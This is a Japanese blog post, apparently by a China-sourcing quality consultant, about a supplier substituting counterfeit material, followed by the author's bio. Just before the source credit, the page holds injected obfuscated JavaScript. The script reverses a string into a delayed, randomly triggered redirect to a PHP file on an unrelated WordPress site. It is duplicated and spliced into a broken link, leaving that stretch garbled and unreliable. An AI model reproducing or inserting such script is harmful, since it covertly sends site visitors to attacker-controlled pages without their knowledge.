偽物材料、その責任は?

偽物材料、その責任は?

前回ある加工部品の材料が違うものを使われていた事例を紹介した。これについてバイヤーのプロで「中国調達とものづくりの現場から」というメルマガを発行しているZhenさんからコメントをいただいたので、紹介します。

『今回の事例を読んだ読者の何割が、「だから中国人は信用できない!」と思い、悪いのは中国人だ、バイヤーに非はないと、考えるのでしょうか? あるいは自社の内作取り込みで、外注業者を蔑ろにした罰だ! と、発注側を批判するのでしょうか。

僕の視点からすると、誰が悪いかより、自社が損害を受けたか、否かです。当然損害を受けているわけです。では、なせそれを阻止できなかったのか? ってことです。

 

ある意味で、サプライヤー側の視点で考えれば、受注量が減っても、従来の利益を確保したいと考えるのは当然のことで、真っ当な形でその対策が進んでいることを確認するとか、アドバイスをするのが、永く付き合ってきたパートナーに対する視点です。

これはパートナーに対する感謝の気持ちとかいった善意でなく、自らを相手方の悪意から守る手法です。

ムラ社会の日本でなく、大陸で生き抜くにはこれくらいの冷徹さがないと……。すっかり、偉そうなこと書いちゃいました。すいません』

 

偉そうだなんて、そんなことはありません。いつもコメントありがとうございます。

今日のポイント

「自らを相手方の悪意から守る手法」。この視点が当時この購買部門に決定的に欠けていたといわざるを得ない。この視点を持っていれば、実践していれば、このようなことは防げたと思われる。

中国の会社と取引をするのであれば、何が起きても不思議ではないことを常々頭に入れておく必要がある。いや、そんなことはわかっていたつもりであったと思う。あくまで「つもり」だったのである。

「わかったつもり」になっていただけで、実際に起こり得る可能性の高いときに実践できなかったのだ。そうその会社の製品を社内生産に取り込んで相手の売上げの大半を奪う形になった、この起こり得る可能性の高い状況でやっていなかったのである。

補足

実はこの偽材料事件ですが、責任問題は不問に付されたそうである。

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/” target=”_blank”>出典:中国工場での品質管理・品質改善


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/